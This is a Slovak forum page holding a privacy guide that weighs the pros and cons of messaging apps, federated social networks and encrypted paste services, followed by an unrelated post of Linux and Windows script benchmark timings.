Výhody: + Podobné whatsapp, jednoduché na použitie. + E2E Šifrovanie, takže ani Signal nemôže vidieť vaše správy + Neukladá metadáta Nevýhody: - Hostované v USA, kde ochrana súkromia je porovnateľná s diktatúrami. - Vyžaduje telefónne číslo, ktoré každý, komu napíšete uvidí. 3. IM bez telefónneho čísla 3.1 XMPP XMPP je otvorený federovaný protokol. To že je otvorený znamená, že existuje viacero rôznych aplikácií, ktoré môžu komunikovať jedna s druhou. To že je federovaný znamená, že si môžete vybrať providera alebo hostovať uzol samy rovnako ako u emailu. Osobne používam Gajim ako PC klient, Conversations ako android klienta a dismail.de ako providera. Výhody: + Federovaný, umožnuje si vybrať providera s dobrým súkromím alebo hostovať vlastný server + Umožnuje E2E šifrovanie pomocou rozšírenie, používa variantu Signal protokolu zvanú OMEMO Nevýhody: - Veľmi zložitý na použitie - Klienti majú často nízku kvalitu - OMEMO je len rozšírenie, navyše ho veľa klientov nepodporuje - Neviem nájsť švajčiarsky server 3.2 Wire Wire je aplikácia, ktorá je zadarmo pre súkromné účely a platená pre komerčné použitie. Výhody: + Jasný plán speňaženia, profesionálny prístup + E2E šifrovanie, takže Wire nemôže čítať vaše správy + Jednoduchý na použitie Nevýhody: - Naposledy keď som testoval zabugovaný - Komerčná firma pravdepodobne nebude riskovať svoj biznis proti súdnym príkazom, možná spolupráca s vládou 4. Decentralizované IM 4.1 Tox Tox je decentralizovaná aplikácia, takže žiadna jedna firma nemôže sledovať vašu aktivitu a je velmi zložité Tox zavrieť, podobne ako Torrenty. Tox je otvorený a má viacero klientov podobne ako XMPP. Výhody: + Decentralizovaný + Viac klientov, používam qTox a zdá sa, že má dobrú kvalitu + Samozrejme E2E šifrovanie (v decentralizovanom systéme je nutné). Nevýhody: - Nemôžete posielať správy offline používateľom, keďže neexistuje server, ktorý by ich uchovával - Užívateľa musíte pridať pomocou pseudo-náhodného textu a nie zapamätateľného užívateľského mena. 5. YOLO kategória 5.1 Deamonsaw Deamonsaw je aplikácia, ktorá využíva sociálnu kryptografiu a každý môže hostovať vlastný server. Server neukladá žiadne informácie. Výhody: + Extrémna bezpečnosť a súkromie + Celkom pekná aplikácia Nevýhody: - Najnovšia verzia nieje open-source - Socialna kryptografia je otravná - Neukladá správy, takže keď ste offline sa vám stratia - Žiadny rozumný človek by niečo takéto nikdy nepoužíval 6. Sociálne siete 6.1 Mastodon Mastodon je federovaná sociálna sieť podobná twitteru. Výhody: + Veľmi pekná stránka, možno krajšia ako twitter + Federovaná, takže sa môžete sami rozhodnúť, komu zveríte svoje dáta + Môžeťe svoje dáta stiahnuť a nahrať na iný uzol, ak zmeníte názor Nevýhody: - Ako sociálna sieť nemá E2E šifrovanie, takže musíte veriť uzlom a neposielať citlivé údaje - Chvíľu trvá si zvyknúť na štýl stránky, ktorý je veľmi odlišný od twitteru. 6.2 Diaspora* Diaspora* je federovaná sociálna sieť, ktorá chce konkurovať Facebooku. Myšlienka je síce pekná, ale zatiaľ to nieje konkurencieschopné. Výhody: + Celkom jednoduchý systém podobný Google+ + Federovaná, takže sa môžete sami rozhodnúť, komu zveríte svoje dáta + Môžeťe svoje dáta stiahnuť a nahrať na iný uzol, ak zmeníte názor Nevýhody: - Ako sociálna sieť nemá E2E šifrovanie, takže musíte veriť uzlom a neposielať citlivé údaje - Nemá skupiny, ktoré sú dôležitou súčasťou FB - Celkovo pomerne nedokončená sociálna sieť, čo sa funkcií týka 7. Doplnkové 7.1 Privatebin Privatebin je služba podobná pastebinu, avšak umožňuje E2E symetrické šifrovanie (zamknutie na heslo). Môžete hostovať vlastný server, alebo použiť verejný. Okrem bežného zdieľania je taktiež vďaka funkcii vymazania po prvom prečítaní vhodný na zdieľanie informácií vo verejnom prostredí. Napríklad ak by som chcel v chate na pawno.cz niekomu dať svoj email (a neexistovali by súkromné správy), stačilo by ho vložiť do pastu a nastaviť na jedno prečítanie. Potom ho poslať do pawno chatu. Ten komu som ho chcel poslať by si ho prečítal a ak by niekdo neskôr prišiel a chcel ho získať, už by bol smazaný. Výhody: + E2E šifrovanie, heslo + kľúč v linku + Jednoduché hostovanie vlastného serveru aj na free hostingoch. + Umožňuje vymazať paste po prvom prečítaní a zároveň nastaviť dobu vypršania. + Šifruje E2E aj keď nezadáte heslo, heslo je automaticky vložené do linku. Nevýhody: Nevidím žiadne 7.2 Ghostbin Ghostbin je služba podobná pastebinu a privatebinu. Umožňuje E2E symetrické šifrovanie (zamknutie na heslo). Má krajšie formátovanie kódu ako privatebin, avšak horšiu bezpečnosť. Výhody: + E2E šifrovanie + Pekná prodpora pre rôzne programovacie jazyky. Nevýhody: - Bez hesla nešifruje, takze silné heslo je extra dôležité (na rozdiel od privatebinu) 8. Čo tu chýba V tomto návode chýba služba na zdieľanie súborov. Počul som dobré veci o OnionShare a zaujímavo vyzerá aj Magic Wormhole. Nič menej keďže som tieto aplikácie osobne neskúšal, netrúfam si ich tu odporúčať alebo hodnotiť. Taktiež tu chýba cloudové riešenie. Ja osobne momentálne preferujem Nextcloud, ale taktiež ho nemám dostatočne dlho na to, aby som hodnotil. Zaujal ma aj Seafile. Podobné je owncloud. Možno aj Least Authority S4 a spideroak.
  25. Kod test scriptu: Vysledky na linuxe (Fakaheda): [16/04/2018 08:17:12] Iterations = 10000 [16/04/2018 08:17:12] Test1 = 6 [16/04/2018 08:18:43] Test3 = 91067 [16/04/2018 08:18:49] Test2 = 6142 Vysledky Linux (~no i/o): [16/04/2018 09:24:32] Iterations = 10000 [16/04/2018 09:24:32] Test1 = 2 [16/04/2018 09:25:08] Test3 = 36002 [16/04/2018 09:25:10] Test2 = 2344 Vysledky na Windowse (HDD): [08:19:12] Iterations = 10000 [08:19:12] Test1 = 35 [08:27:49] Test3 = 516449 [08:28:23] Test2 = 34184 Vysledky Windows (SSD): [08:32:43] Test1 = 44 [08:40:00] Test3 = 437791 [08:40:35] Test2 = 34545 Vysledky Windows (RAM disk): [08:47:06] Iterations = 10000 [08:47:06] Test1 = 35 [08:54:27] Test3 = 440681 [08:55:00] Test2 = 32862 Vysledky windows (~no i/o): [09:19:56] Test1 = 15 [09:21:46] Test3 = 110336 [09:21:49] Test2 = 3381 Vysledky Windows (Len overhead testu): [09:12:35] Test1 = 3 [09:12:35] Test3 = 3 [09:12:38] Test2 = 2926
×
×
  • Create New...